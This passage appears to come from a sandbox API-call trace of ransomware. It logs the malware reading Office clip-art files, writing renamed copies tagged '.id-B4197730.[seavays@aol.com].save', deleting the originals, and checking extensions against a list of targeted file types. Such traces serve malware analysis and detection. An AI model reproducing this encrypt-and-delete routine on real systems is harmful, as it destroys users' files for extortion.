lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.191] WriteFile (in: hFile=0x520, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.192] SetEndOfFile (hFile=0x520) returned 1 [0177.192] CloseHandle (hObject=0x520) returned 1 [0177.192] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.192] SetEndOfFile (hFile=0x378) returned 1 [0177.196] CloseHandle (hObject=0x378) returned 1 [0177.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 1 [0177.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0177.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0177.200] lstrlenW (lpString=".doc") returned 4 [0177.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.200] lstrlenW (lpString=".docx") returned 5 [0177.200] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0177.200] lstrlenW (lpString=".pdf") returned 4 [0177.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.200] lstrlenW (lpString=".xls") returned 4 [0177.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.200] lstrlenW (lpString=".xlsx") returned 5 [0177.200] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0177.200] lstrlenW (lpString=".ppt") returned 4 [0177.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0177.200] lstrlenW (lpString=".zip") returned 4 [0177.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.200] lstrlenW (lpString=".rar") returned 4 [0177.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.200] lstrlenW (lpString=".bz2") returned 4 [0177.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.200] lstrlenW (lpString=".7z") returned 3 [0177.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0177.201] lstrlenW (lpString=".dbf") returned 4 [0177.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0177.201] lstrlenW (lpString=".1cd") returned 4 [0177.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0177.201] lstrlenW (lpString=".jpg") returned 4 [0177.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0177.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0177.201] lstrlenW (lpString=".doc") returned 4 [0177.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.201] lstrlenW (lpString=".docx") returned 5 [0177.201] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0177.201] lstrlenW (lpString=".pdf") returned 4 [0177.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.201] lstrlenW (lpString=".xls") returned 4 [0177.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.201] lstrlenW (lpString=".xlsx") returned 5 [0177.201] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0177.201] lstrlenW (lpString=".ppt") returned 4 [0177.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0177.201] lstrlenW (lpString=".zip") returned 4 [0177.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.202] lstrlenW (lpString=".rar") returned 4 [0177.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.202] lstrlenW (lpString=".bz2") returned 4 [0177.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.202] lstrlenW (lpString=".7z") returned 3 [0177.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0177.202] lstrlenW (lpString=".dbf") returned 4 [0177.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0177.202] lstrlenW (lpString=".1cd") returned 4 [0177.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0177.202] lstrlenW (lpString=".jpg") returned 4 [0177.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.202] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0177.202] lstrlenW (lpString="J0145168.JPG") returned 12 [0177.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.204] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=33657) returned 1 [0177.204] CloseHandle (hObject=0x378) returned 1 [0177.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 0x220 [0177.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.205] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.205] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0177.206] GetLastError () returned 0x0 [0177.206] ReadFile (in: hFile=0x378, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x8379, lpOverlapped=0x0) returned 1 [0177.210] WriteFile (in: hFile=0x520, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x8380, lpOverlapped=0x0) returned 1 [0177.212] ReadFile (in: hFile=0x378, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.212] WriteFile (in: hFile=0x520, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.212] SetEndOfFile (hFile=0x520) returned 1 [0177.212] CloseHandle (hObject=0x520) returned 1 [0177.212] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.212] SetEndOfFile (hFile=0x378) returned 1 [0177.216] CloseHandle (hObject=0x378) returned 1 [0177.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 1 [0177.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0177.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0177.217] lstrlenW (lpString=".doc") returned 4 [0177.217] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.217] lstrlenW (lpString=".docx") returned 5 [0177.217] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0177.217] lstrlenW (lpString=".pdf") returned 4 [0177.218] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.218] lstrlenW (lpString=".xls") returned 4 [0177.218] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.218] lstrlenW (lpString=".xlsx") returned 5 [0177.218] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0177.218] lstrlenW (lpString=".ppt") returned 4 [0177.218] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0177.218] lstrlenW (lpString=".zip") returned 4 [0177.218] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.218] lstrlenW (lpString=".rar") returned 4 [0177.218] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.218] lstrlenW (lpString=".bz2") returned 4 [0177.218] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.218] lstrlenW (lpString=".7z") returned 3 [0177.218] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0177.218] lstrlenW (lpString=".dbf") returned 4 [0177.218] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0177.218] lstrlenW (lpString=".1cd") returned 4 [0177.218] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0177.218] lstrlenW (lpString=".jpg") returned 4 [0177.218] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0177.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0177.219] lstrlenW (lpString=".doc") returned 4 [0177.219] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.219] lstrlenW (lpString=".docx") returned 5 [0177.219] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0177.219] lstrlenW (lpString=".pdf") returned 4 [0177.219] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.219] lstrlenW (lpString=".xls") returned 4 [0177.219] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.219] lstrlenW (lpString=".xlsx") returned 5 [0177.219] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0177.219] lstrlenW (lpString=".ppt") returned 4 [0177.219] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0177.219] lstrlenW (lpString=".zip") returned 4 [0177.219] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.219] lstrlenW (lpString=".rar") returned 4 [0177.219] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.219] lstrlenW (lpString=".bz2") returned 4 [0177.219] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.219] lstrlenW (lpString=".7z") returned 3 [0177.219] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0177.219] lstrlenW (lpString=".dbf") returned 4 [0177.219] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0177.219] lstrlenW (lpString=".1cd") returned 4 [0177.219] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0177.220] lstrlenW (lpString=".jpg") returned 4 [0177.220] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.371] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0177.371] lstrlenW (lpString="J0145212.JPG") returned 12 [0177.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0178.182] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=61633) returned 1 [0178.183] CloseHandle (hObject=0x378) returned 1 [0178.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 0x220 [0178.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0178.183] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.183] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0178.184] GetLastError () returned 0x0 [0178.184] ReadFile (in: hFile=0x378, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0xf0c1, lpOverlapped=0x0) returned 1 [0178.188] WriteFile (in: hFile=0x434, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xf0d0, lpOverlapped=0x0) returned 1 [0178.190] ReadFile (in: hFile=0x378, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.190] WriteFile (in: hFile=0x434, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.190] SetEndOfFile (hFile=0x434) returned 1 [0178.191] CloseHandle (hObject=0x434) returned 1 [0178.191] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.191] SetEndOfFile (hFile=0x378) returned 1 [0178.195] CloseHandle (hObject=0x378) returned 1 [0178.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0178.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 1 [0178.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0178.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0178.197] lstrlenW (lpString=".doc") returned 4 [0178.198] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.198] lstrlenW (lpString=".docx") returned 5 [0178.198] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0178.198] lstrlenW (lpString=".pdf") returned 4 [0178.198] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.198] lstrlenW (lpString=".xls") returned 4 [0178.198] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.198] lstrlenW (lpString=".xlsx") returned 5 [0178.198] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0178.198] lstrlenW (lpString=".ppt") returned 4 [0178.198] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0178.198] lstrlenW (lpString=".zip") returned 4 [0178.198] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.198] lstrlenW (lpString=".rar") returned 4 [0178.198] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.198] lstrlenW (lpString=".bz2") returned 4 [0178.198] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.198] lstrlenW (lpString=".7z") returned 3 [0178.198] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0178.198] lstrlenW (lpString=".dbf") returned 4 [0178.198] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0178.198] lstrlenW (lpString=".1cd") returned 4 [0178.198] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0178.198] lstrlenW (lpString=".jpg") returned 4 [0178.198] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0178.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0178.199] lstrlenW (lpString=".doc") returned 4 [0178.199] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.199] lstrlenW (lpString=".docx") returned 5 [0178.199] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0178.199] lstrlenW (lpString=".pdf") returned 4 [0178.199] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.199] lstrlenW (lpString=".xls") returned 4 [0178.199] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.199] lstrlenW (lpString=".xlsx") returned 5 [0178.199] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0178.199] lstrlenW (lpString=".ppt") returned 4 [0178.199] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0178.199] lstrlenW (lpString=".zip") returned 4 [0178.199] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.199] lstrlenW (lpString=".rar") returned 4 [0178.199] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.199] lstrlenW (lpString=".bz2") returned 4 [0178.199] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.199] lstrlenW (lpString=".7z") returned 3 [0178.199] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0178.199] lstrlenW (lpString=".dbf") returned 4 [0178.199] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0178.199] lstrlenW (lpString=".1cd") returned 4 [0178.199] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0178.199] lstrlenW (lpString=".jpg") returned 4 [0178.200] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.200] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0178.200] lstrlenW (lpString="J0149018.JPG") returned 12 [0178.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0178.201] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=27393) returned 1 [0178.202] CloseHandle (hObject=0x378) returned 1 [0178.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 0x220 [0178.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0178.202] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.202] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0178.203] GetLastError () returned 0x0 [0178.203] ReadFile (in: hFile=0x378, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x6b01, lpOverlapped=0x0) returned 1 [0178.206] WriteFile (in: hFile=0x434, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x6b10, lpOverlapped=0x0) returned 1 [0178.207] ReadFile (in: hFile=0x378, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.207] WriteFile (in: hFile=0x434, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.207] SetEndOfFile (hFile=0x434) returned 1 [0178.207] CloseHandle (hObject=0x434) returned 1 [0178.208] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, 